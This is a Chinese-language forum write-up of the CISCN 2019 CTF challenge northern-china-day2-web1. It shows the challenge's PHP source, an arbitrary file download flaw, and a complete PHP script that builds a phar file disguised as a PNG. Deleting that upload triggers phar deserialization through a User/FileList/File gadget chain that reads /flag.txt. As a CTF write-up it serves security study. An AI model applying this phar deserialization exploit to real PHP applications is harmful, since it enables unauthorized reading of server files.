复现过程 进入解题页面发现需要登录，这里只需要注册一个账号然后登录即可。
ciscn_2019_web_northern-china-day2-web1
登录以后是一个网盘的页面，最开始只有上传功能，并且只能上传png,jpg等图片格式。
随便上传一个符合要求的文件，发现可以对其进行下载和删除。通过抓下载的包发现，该处存在一个任意文件下载的漏洞，可以下载源码。
ciscn_2019_web_northern-china-day2-web1
ciscn_2019_web_northern-china-day2-web1
利用该漏洞下载download.php,delete.php以及其需要包含的class.php的内容。
<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
运行如下PHP文件，生成一个phar文件，更改后缀名为png进行上传。
（具体原理见下文的原理分析）
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
ciscn_2019_web_northern-china-day2-web1
原理及源码分析 分析download.php的核心源码可以发现，该文件只有很常规的下载文件操作，并且限制了不能下载文件名中带有flag的文件。
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
#省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
接着分析class.php。
这个文件中定义了用户和文件相关的类。
<?php
#代码精简一下
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影响阅读的table创建代码
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '</tr>';
}
echo $table;
}
}
?>
User类中存在close方法，并且该方法在对象销毁时执行。
同时FileList类中存在call魔术方法，并且类没有close方法。如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。
根据以上三条线索，梳理一下可以得出结论:
如果能创建一个user的对象，其db变量是一个FileList对象，对象中的文件名为flag的位置。这样的话，当user对象销毁时，db变量的close方法被执行；而db变量没有close方法，这样就会触发call魔术方法，进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道，close方法执行后存在results变量里的结果会加入到table变量中被打印出来，也就是flag会被打印出来。
想实现上述想法，可以借助phar的伪协议。有一篇文章对phar伪协议的利用讲的很好，可以参考如下链接：
https://xz.aliyun.com/t/2715
生成phar文件后在删除的时候进行触发即可得到flag。
| 
发表于 2020-5-9 13:35:10
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查看: 2277|
回复: 0
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